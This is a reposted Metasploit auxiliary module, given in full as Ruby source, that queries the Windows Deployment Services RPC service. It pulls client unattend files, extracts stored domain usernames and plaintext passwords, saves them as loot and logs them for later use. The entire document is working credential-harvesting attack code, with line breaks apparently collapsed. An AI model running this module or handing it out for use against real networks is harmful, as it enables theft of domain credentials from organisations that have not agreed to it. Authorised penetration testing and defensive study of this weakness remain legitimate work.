Headline
Microsoft Windows Deployment Services Unattend Retrieval
This Metasploit module retrieves the client unattend file from Windows Deployment Services RPC service and parses out the stored credentials. Tested against Windows 2008 R2 x64 and Windows 2003 x86.
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::DCERPC include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner DCERPCPacket = Rex::Proto::DCERPC::Packet DCERPCClient = Rex::Proto::DCERPC::Client DCERPCResponse = Rex::Proto::DCERPC::Response DCERPCUUID = Rex::Proto::DCERPC::UUID WDS_CONST = Rex::Proto::DCERPC::WDSCP::Constants def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft Windows Deployment Services Unattend Retrieval', 'Description' => %q{ This module retrieves the client unattend file from Windows Deployment Services RPC service and parses out the stored credentials. Tested against Windows 2008 R2 x64 and Windows 2003 x86. }, 'Author' => [ 'Ben Campbell' ], 'License' => MSF_LICENSE, 'References' => [ [ 'URL', 'http://msdn.microsoft.com/en-us/library/dd891255(prot.20).aspx'], [ 'URL', 'http://rewtdance.blogspot.com/2012/11/windows-deployment-services-clear-text.html'] ], )) register_options( [ Opt::RPORT(5040), ]) deregister_options('CHOST', 'CPORT', 'SSL', 'SSLVersion') register_advanced_options( [ OptBool.new('ENUM_ARM', [true, 'Enumerate Unattend for ARM architectures (not currently supported by Windows and will cause an error in System Event Log)', false]) ]) end def run_host(ip) begin query_host(ip) rescue ::Interrupt raise $! rescue ::Rex::ConnectionError => e print_error("#{ip}:#{rport} Connection Error: #{e}") ensure # Ensure socket is pulled down afterwards self.dcerpc.socket.close rescue nil self.dcerpc = nil self.handle = nil end end def query_host(rhost) # Create a handler with our UUID and Transfer Syntax self.handle = Rex::Proto::DCERPC::Handle.new( [ WDS_CONST::WDSCP_RPC_UUID, '1.0', ], 'ncacn_ip_tcp', rhost, [datastore['RPORT']] ) print_status("Binding to #{handle} ...") self.dcerpc = Rex::Proto::DCERPC::Client.new(self.handle, self.sock) vprint_good("Bound to #{handle}") report_service( :host => rhost, :port => datastore['RPORT'], :proto => 'tcp', :name => "dcerpc", :info => "#{WDS_CONST::WDSCP_RPC_UUID} v1.0 Windows Deployment Services" ) table = Rex::Text::Table.new({ 'Header' => 'Windows Deployment Services', 'Indent' => 1, 'Columns' => ['Architecture', 'Type', 'Domain', 'Username', 'Password'] }) creds_found = false WDS_CONST::ARCHITECTURE.each do |architecture| if architecture[0] == :ARM && !datastore['ENUM_ARM'] vprint_status "Skipping #{architecture[0]} architecture due to adv option" next end begin result = request_client_unattend(architecture) rescue ::Rex::Proto::DCERPC::Exceptions::Fault => e vprint_error(e.to_s) print_error("#{rhost} DCERPC Fault - Windows Deployment Services is present but not configured. Perhaps an SCCM installation.") return nil end unless result.nil? loot_unattend(architecture[0], result) results = parse_client_unattend(result) results.each do |result| unless result.empty? if result['username'] and result['password'] print_good("Retrieved #{result['type']} credentials for #{architecture[0]}") creds_found = true domain = "" domain = result['domain'] if result['domain'] report_creds(domain, result['username'], result['password']) table << [architecture[0], result['type'], domain, result['username'], result['password']] end end end end end if creds_found print_line table.print print_line else print_error("No Unattend files received, service is unlikely to be configured for completely unattended installation.") end end def request_client_unattend(architecture) # Construct WDS Control Protocol Message packet = Rex::Proto::DCERPC::WDSCP::Packet.new(:REQUEST, :GET_CLIENT_UNATTEND) guid = Rex::Text.rand_text_hex(32) packet.add_var( WDS_CONST::VAR_NAME_CLIENT_GUID, guid) # Not sure what this padding is for... mac = [0x30].pack('C') * 20 mac << Rex::Text.rand_text_hex(12) packet.add_var( WDS_CONST::VAR_NAME_CLIENT_MAC, mac) arch = [architecture[1]].pack('C') packet.add_var( WDS_CONST::VAR_NAME_ARCHITECTURE, arch) version = [1].pack('V') packet.add_var( WDS_CONST::VAR_NAME_VERSION, version) wdsc_packet = packet.create vprint_status("Sending #{architecture[0]} Client Unattend request ...") dcerpc.call(0, wdsc_packet, false) timeout = datastore['DCERPC::ReadTimeout'] response = Rex::Proto::DCERPC::Client.read_response(self.dcerpc.socket, timeout) if (response and response.stub_data) vprint_status('Received response ...') data = response.stub_data # Check WDSC_Operation_Header OpCode-ErrorCode is success 0x000000 op_error_code = data.unpack('v*')[19] if op_error_code == 0 if data.length < 277 vprint_error("No Unattend received for #{architecture[0]} architecture") return nil else vprint_status("Received #{architecture[0]} unattend file ...") return extract_unattend(data) end else vprint_error("Error code received for #{architecture[0]}: #{op_error_code}") return nil end end end def extract_unattend(data) start = data.index('<?xml') finish = data.index('</unattend>') if start and finish finish += 10 return data[start..finish] else print_error("Incomplete transmission or malformed unattend file.") return nil end end def parse_client_unattend(data) begin xml = REXML::Document.new(data) return Rex::Parser::Unattend.parse(xml).flatten rescue REXML::ParseException => e print_error("Invalid XML format") vprint_line(e.message) return nil end end def loot_unattend(archi, data) return if data.empty? p = store_loot('windows.unattend.raw', 'text/plain', rhost, data, archi, "Windows Deployment Services") print_good("Raw version of #{archi} saved as: #{p}") end def report_cred(opts) service_data = { address: opts[:ip], port: opts[:port], service_name: opts[:service_name], protocol: 'tcp', workspace_id: myworkspace_id } credential_data = { origin_type: :service, module_fullname: fullname, username: opts[:user], private_data: opts[:password], private_type: :password }.merge(service_data) login_data = { core: create_credential(credential_data), status: Metasploit::Model::Login::Status::UNTRIED, proof: opts[:proof] }.merge(service_data) create_credential_login(login_data) end def report_creds(domain, user, pass) report_cred( ip: rhost, port: 4050, service_name: 'dcerpc', user: "#{domain}\\#{user}", password: pass, proof: domain ) endend